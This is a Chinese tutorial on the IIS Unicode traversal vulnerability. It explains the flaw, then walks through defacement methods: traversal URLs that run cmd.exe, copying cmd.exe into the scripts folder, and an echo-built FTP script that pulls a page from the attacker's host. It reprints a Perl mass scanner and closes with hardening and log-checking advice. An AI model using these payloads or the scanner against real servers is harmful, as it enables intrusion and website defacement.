前2天一直在講網絡監聽,雖然我覺得很有必要,但好多人都發來消息說沒什麼太多興趣。雖然還是很想講這個,但因爲大家有意見,就不說。經過快半個月的學習,我想如果你很認真的在看的話的,我想你的基本功已經很好了.今天開始我會開始由一些詳細的攻擊或其他的方法開始說了,有些地方我就不詳細說明了,如果有問題可以發貼來問
回到話題,unicode 漏洞是最容易讓入侵者得手的一個漏洞,可以不費吹灰之力將主頁改掉,重則刪除
硬盤上的數據,高手甚至獲取administrator 權限!
漏洞自大前年年10 月份公佈至今,居然國內還有這麼多的服務器存在着該漏洞
下面我從一般的入侵手法分析如何做相應的防護對策.
(一)unicode 漏洞的原理
有關漏洞的原理網上已經有很多相關的文章了,我不打算詳細說,還是簡單的來了解了解
好了!
實際上就是UNICODE 編碼存在BUG,在UNICODE 編碼中
%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
在NT4 中/編碼爲%c1%9c .在英文版裏:WIN2000 英文版%c0%af
該漏洞是利用擴展UNICODE 字符取代"/"和"\"而能利用"../"目錄遍歷,故在一臺有
unicode 漏洞的服務器ip 後邊加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可
以看到主機上c 盤的所有文件及目錄.
(二)unicode 漏洞的危害
未經授權的用戶可能利用IUSR_machinename 賬號的上下文空間訪問任何已知的文件。
該賬號在默認情況下屬於Everyone 和Users 組的成員,因此任何與Web 根目錄在同一邏輯
驅動器上的能被這些用戶組訪問的文件都能被刪除,修改或執行,就如同一個用戶成功登陸
所能完成的一樣。
以上部分內容摘自綠盟!
(三)unicode 漏洞的攻擊手法
1、利用漏洞修改主頁
這可能是新手們最興奮的事情了!每當他們成功地黑掉一個網頁後都有一股極大的滿足
感.然而黑網頁也是最簡單的事情。
手段描述一:入侵者先用掃描工具掃到有漏洞的主機後,在IE 的地址欄裏輸入http://主機
的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主機上c 盤的所有文件
了.要查主頁放在什麼地方的話,可以將後邊的dir+c:\換成set ,從返回的錯誤信息中找到
PATH_TRANSLATED=c:\inetpub\wwwroot 這一句(具體的路徑根據具體的情況而定).其中的
c:\inetpub\wwwroot 就是主頁所在的地方!接着入侵者爲了避免系統對特殊字符的檢測,故將
本地機器的CMD.EXE 程序複製到主機的c:\inetpub\scripts 目錄中,這樣幹起活來就容易多了!
他們查到主頁的名字後,就可以利用echo 命令來寫入信息,將內容覆蓋掉主頁文件就把主頁
給黑了。
手段描述二:除了上面的土方法外,入侵者可以將有聲有色的黑頁替換主頁,這樣黑得不是
更爽嗎?來看看他們是如何做到的。
先在本地硬盤建立個共享文件夾(如gale),把黑頁複製進去。照樣把cmd.exe 拷貝到目標
的c:\inetpub\scripts 下,名字爲gale.exe,映射本地的gale 目錄爲目標的一個盤(如q:)
把q:裏的複製到目標主機的網頁目錄去。覆蓋對方的網頁文件,最後斷開映射就可以了.
這是利用本地共享目錄和映射硬盤的方法替換黑頁,如果黑頁有背景又有音樂,文件很大,上
傳費事,怎麼完美一點呢?請看下邊。
手段描述三:這種方法也是紅客們黑美國、日本的時候最常用的手法。
入侵者先申請一個免費空間,把做好的黑頁上傳上去,然後利用echo 命令在目標主機
上建立一個文本文件,寫上幾行命令,如下:
目標主機ip/scripts/gale.exe?/c+echo+open+你黑頁所在的免費空間ip>文本文件名.txt
目標主機ip/gale.exe?/c+echo+你在黑頁空間上的帳戶>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+密碼>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
目標主機ip/gale.exe?/c+echo+bye>>文本文件名.txt
目標主機ip/gale.exe?/c+ftp+-s:文本文件名.txt
這樣入侵者就可以將黑頁從另外一個空間下載到目標主機上,copy 過去覆蓋就可以了。
這樣入侵者不受地方的限制,隨便什麼地方了,比如網吧。
(四)unicode 漏洞的防護措施
說了那麼多,現在該轉入正題了,下面我來說說防範的措施,這也是從攻擊中總結出來
的一些措施,希望對大家有幫助。
1、打上最新補丁
作爲一個網絡管理員,爲了服務器的安全,需要不停的打上最新補丁,這是比較有效的
方法。但你要記住:在網絡上,沒有絕對的安全的,道高一尺,魔高一丈,完全相信防火牆和系
統補丁往往是很愚蠢的。
2、冷酷到底,拒人於千里之外
相信到現在還利用unicode 漏洞入侵的人都是些新手傻瓜們!他們沒有確定的入侵目標,
只是抓個掃描器來亂掃一通,掃到就黑,掃不到就哭的那種。對付掃描器掃出未知的漏洞,
這是管理員的聰明之處。如何躲過掃描器的眼睛呢?請先看看下面一個用perl 寫的掃描器代
碼吧:
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework in my room.
#it will go through a list of sites and check if it gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c (其他版本的請修改這樣的字符)
#perhaps a public script to do some evil stuff with this exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) || die "\nCould not open $hosts: $!";
while ()
{
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a < $b)
{
my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}
sub second() {
my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
my $request = new HTTP::Request('GET', $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
代碼摘自綠盟。
不知道大家注意到上面長長的兩行$url 和$url2 了沒有,其實只是簡單的字符串處理而
已。於是有以下幾種方法避過掃描器的掃描:
①更改winnt 目錄名
安裝winnt 或者win2000 時,缺省目錄是c:\winnt.可以把這個目錄名改成別的目錄名,
這樣掃描器遞交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"類似的
url 時就會返回"找不到該頁"的信息。這樣大部分掃描器就成失靈了。(不知道小榕的流光能
不能躲得過,但大部分的用perl 寫的掃描器經這樣改了之後都不起作用了)。
安裝前就可以這樣,但是已經安裝了,確實不想改winnt/2000 的目錄怎麼辦呢?那好,可以
看看下邊的:
②更改cmd.exe 和各常用命令的名稱
更改cmd.exe 的名稱也可以達到同樣的效果,而且更加可*,假如你只更改winnt/win2000
所在的目錄名的話,別人猜對後仍然可以黑掉你。同時把一些不常用的而且有危害的命令改
成只有你知道的名字,①和②結合的話更完美!
③改變web 目錄位置
通常主頁所在的位置是在C:\InetPub\wwwroot 裏。在c:\inetpub 裏有scripts 之類的目錄。
如果你不需要他們的話,你可以把web 目錄轉移到別的分區,比如e:\netroot 然後把C:\inetpub
整個刪除掉.日本有一臺主機就做的比較好,它的機器明明存在有unicode 漏洞,但將web 目錄
轉移到d 盤,並且d 盤是不可寫的,有位新手在QQ 上向我抱怨說:"老大!你說的方法不行呀,
我黑不了!嗚嗚嗚~~",哈!象這樣,一般的人就難以修改主頁了,(注意:這隻能防止一般的人,高
手只要動動腦筋,照樣能黑掉!).
④停止不必要的服務
在internet 服務器中,爲了系統的安全,您必須停掉所有的缺省web 目錄的服務。然後統統
刪掉,只保留你所要的,以免招來後患.
⑤改變服務的端口號
在保證不影響訪問率的情況下,我們可以把web 服務的端口由80 改成別的,比如108。
因爲很多還是利用unicode 漏洞攻擊的人一般都是新手,他們都是拿一個掃描工具掃一個ip
段的,這樣做就可以躲避那種掃描一段網段的攻擊者的掃描了。(注意:此方法只能防止這種方
式的掃描,別有用心的攻擊者照樣可以通過修改掃描器的插件來實行掃描的.但受攻擊的可能
性已經減低.)
3、限制iusr_server 的權限
上面所說的措施是把攻擊者拒絕於門外,如果真的很不幸,給攻擊者找到門上來了,那
不是死定了?不一定!攻擊者利用UNICODE 漏洞遍歷目錄時的用戶權限是決定於
iusr_server 的權限的,而通常iusr_server 是屬於guest 組的。我們只要進一步限制iusr_server
的權限還有可能挽回(對於高手們就不一定這麼說了)。
建議如下:採用NTFS 格式的文件系統,將web 目錄外所有的訪問權限設置爲:用戶
iusr_server 不可訪問!注意:不要給iusr_server 對web 目錄有寫權限!理由是什麼大家都很
清楚!你的主頁就是給這樣的傢伙給黑的,如果他沒有寫的權限,就象那臺日本的主機一樣,
一般的新手們就難以下手了。(但是,那些確實是非寫不可的地方,如:聊天室或論壇,是
可以適當放開的)。
4、偷喫成功,尋找蛛絲馬跡
這就是分析訪問日誌,一名合格的管理員,應該有經常查看日誌的好習慣.日誌是非常的
多的,看起來很麻煩,但對於unicode 漏洞的攻擊,只要查看分析web 服務的訪問日誌就可以
了。掃描器的掃描和已經攻擊完了的動作都會被記錄下來,要注意特別留意出現的"cmd.exe"
字眼。